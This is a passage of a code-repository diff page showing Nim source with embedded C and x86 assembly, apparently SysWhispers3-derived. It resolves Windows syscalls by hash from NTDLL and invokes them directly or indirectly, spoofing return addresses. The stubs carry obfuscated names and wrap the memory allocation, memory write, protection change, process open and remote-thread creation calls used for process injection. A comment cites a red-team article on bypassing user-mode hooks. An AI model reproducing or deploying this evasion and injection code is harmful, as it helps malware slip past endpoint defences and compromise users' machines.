push_argument4:
|
||||
dec ecx
|
||||
push [ebp + 8 + ecx * 4]
|
||||
jnz push_argument4
|
||||
mov ecx, eax
|
||||
mov eax, ecx
|
||||
push ret_address_epilog4
|
||||
call do_sysenter_interrupt4
|
||||
lea esp, [esp+4]
|
||||
ret_address_epilog4:
|
||||
mov esp, ebp
|
||||
pop ebp
|
||||
ret
|
||||
do_sysenter_interrupt4:
|
||||
mov edx, esp
|
||||
jmp edi
|
||||
ret
|
||||
"""
|
||||
# NtOpenProcess
|
||||
proc opqiwepoausdasdjl*(ProcessHandle: PHANDLE, DesiredAccess: ACCESS_MASK, ObjectAttributes: POBJECT_ATTRIBUTES, ClientId: PCLIENT_ID): NTSTATUS {.asmNoStackFrame.} =
|
||||
asm """
|
||||
push ebp
|
||||
mov ebp, esp
|
||||
push '0FDA3DE0Fh'
|
||||
call SW3_GetRandomSyscallAddress
|
||||
mov edi, eax
|
||||
push '0FDA3DE0Fh'
|
||||
call SW3_GetSyscallNumber
|
||||
lea esp, [esp+4]
|
||||
mov ecx, 0x04
|
||||
push_argument5:
|
||||
dec ecx
|
||||
push [ebp + 8 + ecx * 4]
|
||||
jnz push_argument5
|
||||
mov ecx, eax
|
||||
mov eax, ecx
|
||||
push ret_address_epilog5
|
||||
call do_sysenter_interrupt5
|
||||
lea esp, [esp+4]
|
||||
ret_address_epilog5:
|
||||
mov esp, ebp
|
||||
pop ebp
|
||||
ret
|
||||
do_sysenter_interrupt5:
|
||||
mov edx, esp
|
||||
jmp edi
|
||||
ret
|
||||
"""
|
||||
# NtClose
|
||||
proc zuatzuastdiasyy*(Handle: HANDLE): NTSTATUS {.asmNoStackFrame.} =
|
||||
asm """
|
||||
push ebp
|
||||
mov ebp, esp
|
||||
push '0495CBB45h'
|
||||
call SW3_GetRandomSyscallAddress
|
||||
mov edi, eax
|
||||
push '0495CBB45h'
|
||||
call SW3_GetSyscallNumber
|
||||
lea esp, [esp+4]
|
||||
mov ecx, 0x01
|
||||
push_argument6:
|
||||
dec ecx
|
||||
push [ebp + 8 + ecx * 4]
|
||||
jnz push_argument6
|
||||
mov ecx, eax
|
||||
mov eax, ecx
|
||||
push ret_address_epilog6
|
||||
call do_sysenter_interrupt6
|
||||
lea esp, [esp+4]
|
||||
ret_address_epilog6:
|
||||
mov esp, ebp
|
||||
pop ebp
|
||||
ret
|
||||
do_sysenter_interrupt6:
|
||||
mov edx, esp
|
||||
jmp edi
|
||||
ret
|
||||
"""
|
||||
|
||||
|
||||
@@ -0,0 +1,583 @@
|
||||
{.passC:"-masm=intel".}
|
||||
|
||||
import winim/lean
|
||||
|
||||
|
||||
{.emit: """
|
||||
#pragma once
|
||||
|
||||
// Code below is adapted from @modexpblog. Read linked article for more details.
|
||||
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
|
||||
|
||||
#ifndef SW3_HEADER_H_
|
||||
#define SW3_HEADER_H_
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
#define SW3_SEED 0x8113BF0F
|
||||
#define SW3_ROL8(v) (v << 8 | v >> 24)
|
||||
#define SW3_ROR8(v) (v >> 8 | v << 24)
|
||||
#define SW3_ROX8(v) ((SW3_SEED % 2) ? SW3_ROL8(v) : SW3_ROR8(v))
|
||||
#define SW3_MAX_ENTRIES 500
|
||||
#define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
|
||||
|
||||
// Typedefs are prefixed to avoid pollution.
|
||||
|
||||
typedef struct _SW3_SYSCALL_ENTRY
|
||||
{
|
||||
DWORD Hash;
|
||||
DWORD Address;
|
||||
PVOID SyscallAddress;
|
||||
} SW3_SYSCALL_ENTRY, *PSW3_SYSCALL_ENTRY;
|
||||
|
||||
typedef struct _SW3_SYSCALL_LIST
|
||||
{
|
||||
DWORD Count;
|
||||
SW3_SYSCALL_ENTRY Entries[SW3_MAX_ENTRIES];
|
||||
} SW3_SYSCALL_LIST, *PSW3_SYSCALL_LIST;
|
||||
|
||||
typedef struct _SW3_PEB_LDR_DATA {
|
||||
BYTE Reserved1[8];
|
||||
PVOID Reserved2[3];
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
} SW3_PEB_LDR_DATA, *PSW3_PEB_LDR_DATA;
|
||||
|
||||
typedef struct _SW3_LDR_DATA_TABLE_ENTRY {
|
||||
PVOID Reserved1[2];
|
||||
LIST_ENTRY InMemoryOrderLinks;
|
||||
PVOID Reserved2[2];
|
||||
PVOID DllBase;
|
||||
} SW3_LDR_DATA_TABLE_ENTRY, *PSW3_LDR_DATA_TABLE_ENTRY;
|
||||
|
||||
typedef struct _SW3_PEB {
|
||||
BYTE Reserved1[2];
|
||||
BYTE BeingDebugged;
|
||||
BYTE Reserved2[1];
|
||||
PVOID Reserved3[2];
|
||||
PSW3_PEB_LDR_DATA Ldr;
|
||||
} SW3_PEB, *PSW3_PEB;
|
||||
|
||||
DWORD SW3_HashSyscall(PCSTR FunctionName);
|
||||
BOOL SW3_PopulateSyscallList();
|
||||
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash);
|
||||
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash);
|
||||
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID);
|
||||
#endif
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
//#define DEBUG
|
||||
|
||||
// JUMPER
|
||||
|
||||
#ifdef _M_IX86
|
||||
|
||||
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID) {
|
||||
return (PVOID)__readfsdword(0xC0);
|
||||
}
|
||||
|
||||
// LOCAL_IS_WOW64
|
||||
|
||||
#endif
|
||||
|
||||
// Code below is adapted from @modexpblog. Read linked article for more details.
|
||||
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
|
||||
|
||||
SW3_SYSCALL_LIST SW3_SyscallList = {0,1};
|
||||
|
||||
// SEARCH_AND_REPLACE
|
||||
#ifdef SEARCH_AND_REPLACE
|
||||
// THIS IS NOT DEFINED HERE; don't know if I'll add it in a future release
|
||||
EXTERN void SearchAndReplace(unsigned char[], unsigned char[]);
|
||||
#endif
|
||||
|
||||
DWORD SW3_HashSyscall(PCSTR FunctionName)
|
||||
{
|
||||
DWORD i = 0;
|
||||
DWORD Hash = SW3_SEED;
|
||||
|
||||
while (FunctionName[i])
|
||||
{
|
||||
WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++);
|
||||
Hash ^= PartialName + SW3_ROR8(Hash);
|
||||
}
|
||||
|
||||
return Hash;
|
||||
}
|
||||
|
||||
#ifndef JUMPER
|
||||
PVOID SC_Address(PVOID NtApiAddress)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
#else
|
||||
PVOID SC_Address(PVOID NtApiAddress)
|
||||
{
|
||||
DWORD searchLimit = 512;
|
||||
PVOID SyscallAddress;
|
||||
|
||||
#ifdef _WIN64
|
||||
// If the process is 64-bit on a 64-bit OS, we need to search for syscall
|
||||
BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 };
|
||||
ULONG distance_to_syscall = 0x12;
|
||||
#else
|
||||
// If the process is 32-bit on a 32-bit OS, we need to search for sysenter
|
||||
BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 };
|
||||
ULONG distance_to_syscall = 0x0f;
|
||||
#endif
|
||||
|
||||
#ifdef _M_IX86
|
||||
// If the process is 32-bit on a 64-bit OS, we need to jump to WOW32Reserved
|
||||
if (local_is_wow64())
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[+] Running 32-bit app on x64 (WOW64)\n");
|
||||
#endif
|
||||
// JUMP_TO_WOW32Reserved
|
||||
}
|
||||
#endif
|
||||
|
||||
// we don't really care if there is a 'jmp' between
|
||||
// NtApiAddress and the 'syscall; ret' instructions
|
||||
SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall);
|
||||
|
||||
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
|
||||
{
|
||||
// we can use the original code for this system call :)
|
||||
#if defined(DEBUG)
|
||||
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
|
||||
#endif
|
||||
return SyscallAddress;
|
||||
}
|
||||
|
||||
// the 'syscall; ret' intructions have not been found,
|
||||
// we will try to use one near it, similarly to HalosGate
|
||||
|
||||
for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++)
|
||||
{
|
||||
// let's try with an Nt* API below our syscall
|
||||
SyscallAddress = SW3_RVA2VA(
|
||||
PVOID,
|
||||
NtApiAddress,
|
||||
distance_to_syscall + num_jumps * 0x20);
|
||||
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
|
||||
{
|
||||
#if defined(DEBUG)
|
||||
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
|
||||
#endif
|
||||
return SyscallAddress;
|
||||
}
|
||||
|
||||
// let's try with an Nt* API above our syscall
|
||||
SyscallAddress = SW3_RVA2VA(
|
||||
PVOID,
|
||||
NtApiAddress,
|
||||
distance_to_syscall - num_jumps * 0x20);
|
||||
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
|
||||
{
|
||||
#if defined(DEBUG)
|
||||
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
|
||||
#endif
|
||||
return SyscallAddress;
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("Syscall Opcodes not found!\n");
|
||||
#endif
|
||||
|
||||
return NULL;
|
||||
}
|
||||
#endif
|
||||
|
||||
|
||||
BOOL SW3_PopulateSyscallList()
|
||||
{
|
||||
// Return early if the list is already populated.
|
||||
if (SW3_SyscallList.Count) return TRUE;
|
||||
|
||||
#ifdef _WIN64
|
||||
PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60);
|
||||
#else
|
||||
PSW3_PEB Peb = (PSW3_PEB)__readfsdword(0x30);
|
||||
#endif
|
||||
PSW3_PEB_LDR_DATA Ldr = Peb->Ldr;
|
||||
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
|
||||
PVOID DllBase = NULL;
|
||||
|
||||
// Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
|
||||
// in the list, so it's safer to loop through the full list and find it.
|
||||
PSW3_LDR_DATA_TABLE_ENTRY LdrEntry;
|
||||
for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
|
||||
{
|
||||
DllBase = LdrEntry->DllBase;
|
||||
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
|
||||
PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
|
||||
PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
|
||||
DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||
if (VirtualAddress == 0) continue;
|
||||
|
||||
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);
|
||||
|
||||
// If this is NTDLL.dll, exit loop.
|
||||
PCHAR DllName = SW3_RVA2VA(PCHAR, DllBase, ExportDirectory->Name);
|
||||
|
||||
if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue;
|
||||
if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break;
|
||||
}
|
||||
|
||||
if (!ExportDirectory) return FALSE;
|
||||
|
||||
DWORD NumberOfNames = ExportDirectory->NumberOfNames;
|
||||
PDWORD Functions = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
|
||||
PDWORD Names = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
|
||||
PWORD Ordinals = SW3_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);
|
||||
|
||||
// Populate SW3_SyscallList with unsorted Zw* entries.
|
||||
DWORD i = 0;
|
||||
PSW3_SYSCALL_ENTRY Entries = SW3_SyscallList.Entries;
|
||||
do
|
||||
{
|
||||
PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);
|
||||
|
||||
// Is this a system call?
|
||||
if (*(USHORT*)FunctionName == 0x775a)
|
||||
{
|
||||
Entries[i].Hash = SW3_HashSyscall(FunctionName);
|
||||
Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];
|
||||
Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address));
|
||||
|
||||
i++;
|
||||
if (i == SW3_MAX_ENTRIES) break;
|
||||
}
|
||||
} while (--NumberOfNames);
|
||||
|
||||
// Save total number of system calls found.
|
||||
SW3_SyscallList.Count = i;
|
||||
|
||||
// Sort the list by address in ascending order.
|
||||
for (DWORD i = 0; i < SW3_SyscallList.Count - 1; i++)
|
||||
{
|
||||
for (DWORD j = 0; j < SW3_SyscallList.Count - i - 1; j++)
|
||||
{
|
||||
if (Entries[j].Address > Entries[j + 1].Address)
|
||||
{
|
||||
// Swap entries.
|
||||
SW3_SYSCALL_ENTRY TempEntry;
|
||||
|
||||
TempEntry.Hash = Entries[j].Hash;
|
||||
TempEntry.Address = Entries[j].Address;
|
||||
TempEntry.SyscallAddress = Entries[j].SyscallAddress;
|
||||
|
||||
Entries[j].Hash = Entries[j + 1].Hash;
|
||||
Entries[j].Address = Entries[j + 1].Address;
|
||||
Entries[j].SyscallAddress = Entries[j + 1].SyscallAddress;
|
||||
|
||||
Entries[j + 1].Hash = TempEntry.Hash;
|
||||
Entries[j + 1].Address = TempEntry.Address;
|
||||
Entries[j + 1].SyscallAddress = TempEntry.SyscallAddress;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash)
|
||||
{
|
||||
// Ensure SW3_SyscallList is populated.
|
||||
if (!SW3_PopulateSyscallList()) return -1;
|
||||
|
||||
for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
|
||||
{
|
||||
if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
|
||||
{
|
||||
return i;
|
||||
}
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash)
|
||||
{
|
||||
// Ensure SW3_SyscallList is populated.
|
||||
if (!SW3_PopulateSyscallList()) return NULL;
|
||||
|
||||
for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
|
||||
{
|
||||
if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
|
||||
{
|
||||
return SW3_SyscallList.Entries[i].SyscallAddress;
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash)
|
||||
{
|
||||
// Ensure SW3_SyscallList is populated.
|
||||
if (!SW3_PopulateSyscallList()) return NULL;
|
||||
|
||||
DWORD index = ((DWORD) rand()) % SW3_SyscallList.Count;
|
||||
|
||||
while (FunctionHash == SW3_SyscallList.Entries[index].Hash){
|
||||
// Spoofing the syscall return address
|
||||
index = ((DWORD) rand()) % SW3_SyscallList.Count;
|
||||
}
|
||||
return SW3_SyscallList.Entries[index].SyscallAddress;
|
||||
}
|
||||
|
||||
""".}
|
||||
|
||||
type
|
||||
PS_ATTR_UNION* {.pure, union.} = object
|
||||
Value*: ULONG
|
||||
ValuePtr*: PVOID
|
||||
PS_ATTRIBUTE* {.pure.} = object
|
||||
Attribute*: ULONG
|
||||
Size*: SIZE_T
|
||||
u1*: PS_ATTR_UNION
|
||||
ReturnLength*: PSIZE_T
|
||||
PPS_ATTRIBUTE* = ptr PS_ATTRIBUTE
|
||||
PS_ATTRIBUTE_LIST* {.pure.} = object
|
||||
TotalLength*: SIZE_T
|
||||
Attributes*: array[2, PS_ATTRIBUTE]
|
||||
PPS_ATTRIBUTE_LIST* = ptr PS_ATTRIBUTE_LIST
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# NtProtectVirtualMemory
|
||||
proc uashdiasdj*(ProcessHandle: HANDLE, BaseAddress: PVOID, RegionSize: PSIZE_T, NewProtect: ULONG, OldProtect: PULONG): NTSTATUS {.asmNoStackFrame.} =
|
||||
asm """
|
||||
push ebp
|
||||
mov ebp, esp
|
||||
push 0BC1FA8B2h
|
||||
call SW3_GetSyscallNumber
|
||||
lea esp, [esp+4]
|
||||
mov ecx, 0x05
|
||||
push_argument:
|
||||
dec ecx
|
||||
push [ebp + 8 + ecx * 4]
|
||||
jnz push_argument
|
||||
mov ecx, eax
|
||||
call local_is_wow64
|
||||
test eax, eax
|
||||
je is_native
|
||||
call internal_cleancall_wow64_gate
|
||||
push ret_address_epilog
|
||||
push ret_address_epilog
|
||||
xchg eax, ecx
|
||||
jmp ecx
|
||||
jmp finish
|
||||
is_native:
|
||||
mov eax, ecx
|
||||
push ret_address_epilog
|
||||
call do_sysenter_interrupt
|
||||
finish:
|
||||
lea esp, [esp+4]
|
||||
ret_address_epilog:
|
||||
mov esp, ebp
|
||||
pop ebp
|
||||
ret
|
||||
do_sysenter_interrupt:
|
||||
mov edx, esp
|
||||
sysenter
|
||||
ret
|
||||
"""
|
||||
# NtWriteVirtualMemory
|
||||
proc oqiazasusjk*(ProcessHandle: HANDLE, BaseAddress: PVOID, Buffer: PVOID, NumberOfBytesToWrite: SIZE_T, NumberOfBytesWritten: PSIZE_T): NTSTATUS {.asmNoStackFrame.} =
|
||||
asm """
|
||||
push ebp
|
||||
mov ebp, esp
|
||||
push 00791312Fh
|
||||
call SW3_GetSyscallNumber
|
||||
lea esp, [esp+4]
|
||||
mov ecx, 0x05
|
||||
push_argument:
|
||||
dec ecx
|
||||
push [ebp + 8 + ecx * 4]
|
||||
jnz push_argument
|
||||
mov ecx, eax
|
||||
call local_is_wow64
|
||||
test eax, eax
|
||||
je is_native
|
||||
call internal_cleancall_wow64_gate
|
||||
push ret_address_epilog
|
||||
push ret_address_epilog
|
||||
xchg eax, ecx
|
||||
jmp ecx
|
||||
jmp finish
|
||||
is_native:
|
||||
mov eax, ecx
|
||||
push ret_address_epilog
|
||||
call do_sysenter_interrupt
|
||||
finish:
|
||||
lea esp, [esp+4]
|
||||
ret_address_epilog:
|
||||
mov esp, ebp
|
||||
pop ebp
|
||||
ret
|
||||
do_sysenter_interrupt:
|
||||
mov edx, esp
|
||||
sysenter
|
||||
ret
|
||||
"""
|
||||
# NtCreateThreadEx
|
||||
proc zuq8aztsdztausdgbh*(ThreadHandle: PHANDLE, DesiredAccess: ACCESS_MASK, ObjectAttributes: POBJECT_ATTRIBUTES, ProcessHandle: HANDLE, StartRoutine: PVOID, Argument: PVOID, CreateFlags: ULONG, ZeroBits: SIZE_T, StackSize: SIZE_T, MaximumStackSize: SIZE_T, AttributeList: PPS_ATTRIBUTE_LIST): NTSTATUS {.asmNoStackFrame.} =
|
||||
asm """
|
||||
push ebp
|
||||
mov ebp, esp
|
||||
push 0415E8523h
|
||||
call SW3_GetSyscallNumber
|
||||
lea esp, [esp+4]
|
||||
mov ecx, 0x0b
|
||||
push_argument:
|
||||
dec ecx
|
||||
push [ebp + 8 + ecx * 4]
|
||||
jnz push_argument
|
||||
mov ecx, eax
|
||||
call local_is_wow64
|
||||
test eax, eax
|
||||
je is_native
|
||||
call internal_cleancall_wow64_gate
|
||||
push ret_address_epilog
|
||||
push ret_address_epilog
|
||||
xchg eax, ecx
|
||||
jmp ecx
|
||||
jmp finish
|
||||
is_native:
|
||||
mov eax, ecx
|
||||
push ret_address_epilog
|
||||
call do_sysenter_interrupt
|
||||
finish:
|
||||
lea esp, [esp+4]
|
||||
ret_address_epilog:
|
||||
mov esp, ebp
|
||||
pop ebp
|
||||
ret
|
||||
do_sysenter_interrupt:
|
||||
mov edx, esp
|
||||
sysenter
|
||||
ret
|
||||
"""
|
||||
# NtAllocateVirtualMemory
|
||||
proc oqiahsjynmxkla*(ProcessHandle: HANDLE, BaseAddress: PVOID, ZeroBits: ULONG, RegionSize: PSIZE_T, AllocationType: ULONG, Protect: ULONG): NTSTATUS {.asmNoStackFrame.} =
|
||||
asm """
|
||||
push ebp
|
||||
mov ebp, esp
|
||||
push 08D136671h
|
||||
call SW3_GetSyscallNumber
|
||||
lea esp, [esp+4]
|
||||
mov ecx, 0x06
|
||||
push_argument:
|
||||
dec ecx
|
||||
push [ebp + 8 + ecx * 4]
|
||||
jnz push_argument
|
||||
mov ecx, eax
|
||||
call local_is_wow64
|
||||
test eax, eax
|
||||
je is_native
|
||||
call internal_cleancall_wow64_gate
|
||||
push ret_address_epilog
|
||||
push ret_address_epilog
|
||||
xchg eax, ecx
|
||||
jmp ecx
|
||||
jmp finish
|
||||
is_native:
|
||||
mov eax, ecx
|
||||
push ret_address_epilog
|
||||
call do_sysenter_interrupt
|
||||
finish:
|
||||
lea esp, [esp+4]
|
||||
ret_address_epilog:
|
||||
mov esp, ebp
|
||||
pop ebp
|
||||
ret
|
||||
do_sysenter_interrupt:
|
||||
mov edx, esp
|
||||
sysenter
|
||||
ret
|
||||
"""
|
||||
|
||||
# NtOpenProcess
|
||||
proc opqiwepoausdasdjl*(ProcessHandle: PHANDLE, DesiredAccess: ACCESS_MASK, ObjectAttributes: POBJECT_ATTRIBUTES, ClientId: PCLIENT_ID): NTSTATUS {.asmNoStackFrame.} =
|
||||
asm """
|
||||
push ebp
|
||||
mov ebp, esp
|
||||
push 0FEAFCF03h
|
||||
call SW3_GetSyscallNumber
|
||||
lea esp, [esp+4]
|
||||
mov ecx, 0x04
|
||||
push_argument:
|
||||
dec ecx
|
||||
push [ebp + 8 + ecx * 4]
|
||||
jnz push_argument
|
||||
mov ecx, eax
|
||||
call local_is_wow64
|
||||
test eax, eax
|
||||
je is_native
|
||||
call internal_cleancall_wow64_gate
|
||||
push ret_address_epilog
|
||||
push ret_address_epilog
|
||||
xchg eax, ecx
|
||||
jmp ecx
|
||||
jmp finish
|
||||
is_native:
|
||||
mov eax, ecx
|
||||
push ret_address_epilog
|
||||
call do_sysenter_interrupt
|
||||
finish:
|
||||
lea esp, [esp+4]
|
||||
ret_address_epilog:
|
||||
mov esp, ebp
|
||||
pop ebp
|
||||
ret
|
||||
do_sysenter_interrupt:
|
||||
mov edx, esp
|
||||
sysenter
|
||||
ret
|
||||
"""
|
||||
# NtClose
|
||||
proc zuatzuastdiasyy*(Handle: HANDLE): NTSTATUS {.asmNoStackFrame.} =
|
||||
asm """
|
||||
push ebp
|
||||
mov ebp, esp
|
||||
push 0F05BE137h
|
||||
call SW3_GetSyscallNumber
|
||||
lea esp, [esp+4]
|
||||
mov ecx, 0x01
|
||||
push_argument:
|
||||
dec ecx
|
||||
push [ebp + 8 + ecx * 4]
|
||||
jnz push_argument
|
||||
mov ecx, eax
|
||||
call local_is_wow64
|
||||
test eax, eax
|
||||
je is_native
|
||||
call internal_cleancall_wow64_gate
|
||||
push ret_address_epilog
|
||||
push ret_address_epilog
|
||||
xchg eax, ecx
|
||||
jmp ecx
|
||||
jmp finish
|
||||
is_native:
|
||||
mov eax, ecx
|
||||
push ret_address_epilog
|
||||
call do_sysenter_interrupt
|
||||
finish:
|
||||
lea esp, [esp+4]
|
||||
ret_address_epilog:
|
||||
mov esp, ebp
|
||||
pop ebp
|
||||
ret
|
||||
do_sysenter_interrupt:
|
||||
mov edx, esp
|
||||
sysenter
|
||||
ret
|
||||
"""
|
||||
|
||||
|
||||
Reference in New Issue
Block a user